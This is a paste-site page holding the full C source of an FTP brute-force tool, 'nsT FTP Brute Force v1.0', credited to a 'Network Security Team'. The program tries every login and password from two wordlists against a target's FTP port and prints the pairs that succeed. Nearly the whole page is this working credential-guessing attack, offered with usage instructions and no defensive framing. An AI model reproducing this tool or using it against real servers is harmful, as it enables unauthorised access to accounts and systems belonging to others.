KinG-InFeT.NeT ~ No-Paste

Titolo: nsT FTP Brute Force v1.0 Autore: Network Security Team Data: 28/04/10 Numero Linee:   
  1. /*
  2. oooo...oooo.oooooooo8.ooooooooooo
  3. .8888o..88.888........88..888..88
  4. .88.888o88..888oooooo.....888....
  5. .88...8888.........888....888....
  6. o88o....88.o88oooo888....o888o...
  7. *********************************
  8. **** Network security team ******
  9. ********* nst.void.ru ***********
  10. *********************************
  11. * Title: nsT FTP Brute Force v1.0
  12. * Date: 09.04.2006
  13. * Usage: ./bruteforce 127.0.0.1 users_list.txt passwords_list.txt
  14. *********************************
  15. */
  16.  
  17.  
  18. #include <stdio.h>
  19. #include <error.h>
  20. #include <stdlib.h>
  21. #include <sys/socket.h>
  22. #include <resolv.h>
  23.  
  24. //#define DEBUG 1
  25.  
  26. #define PORT 21
  27.  
  28. int unsigned CheckAccount (char *host, char *login, char *passwd) {
  29. struct sockaddr_in dest;
  30. char response[256];
  31. int sd;
  32.  
  33. if ((sd = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
  34. perror("Create Socket");
  35. return 1;
  36. }
  37.  
  38. dest.sin_family = AF_INET;
  39. dest.sin_port = htons(PORT);
  40. inet_aton(host, &dest.sin_addr);
  41.  
  42. if (connect(sd, (struct sockaddr *)&dest, sizeof(dest)) != 0) {
  43. perror("Connect");
  44. return 1;
  45. }
  46.  
  47. bzero(response, 256);
  48. read(sd, response, 255);
  49. #if defined(DEBUG)
  50. printf("%s", response);
  51. #endif
  52.  
  53. bzero(response, 256);
  54. write(sd, "USER ", 5);
  55. write(sd, login, strlen(login));
  56. read(sd, response, 255);
  57.  
  58. #if defined(DEBUG)
  59. printf("%s", response);
  60. #endif
  61.  
  62. bzero(response, 256);
  63. write(sd, "PASS ", 5);
  64. write(sd, passwd, strlen(passwd));
  65. read(sd, response, 255);
  66.  
  67. #if defined(DEBUG)
  68. printf("%s\n", response);
  69. #endif
  70.  
  71. write(sd, "quit\r\n", 6);
  72. close(sd);
  73.  
  74. if (!strncmp(response, "230", 3)) {
  75. return 0;
  76. }
  77.  
  78. return 1;
  79. }
  80.  
  81.  
  82. int main (int argc, char **argv) {
  83. FILE *fdpwd, *fdlgn;
  84. char login[255], passwd[255];
  85.  
  86. if (argc < 4) {
  87. printf("/------------- FTP BrutForce -------------------\\\n");
  88. printf(" [ Network Security Team ]\n");
  89. printf(" ./bruteforce <ipaddr> <users_list> <passwords_list> \n");
  90. printf("\\------------- nst.void.ru -------------/\n");
  91.  
  92. return 1;
  93. }
  94.  
  95.  
  96. if (!(fdlgn = fopen(argv[2], "r")) || !(fdpwd = fopen(argv[3], "r"))) {
  97. perror(argv[0]);
  98. return 1;
  99. }
  100.  
  101. while (fgets(login, 255, fdlgn)) {
  102. while (fgets(passwd, 255, fdpwd)) {
  103. if (!CheckAccount(argv[1], login, passwd))
  104. printf("login: %spasswd: %s\n", login, passwd);
  105. }
  106. fseek(fdpwd, 0, SEEK_SET);
  107. }
  108. fclose(fdpwd);
  109. fclose(fdlgn);
  110.  
  111. return 0;
  112. }


Powered By 0xPaste
Versione: v1.6



[-Administration Panel-]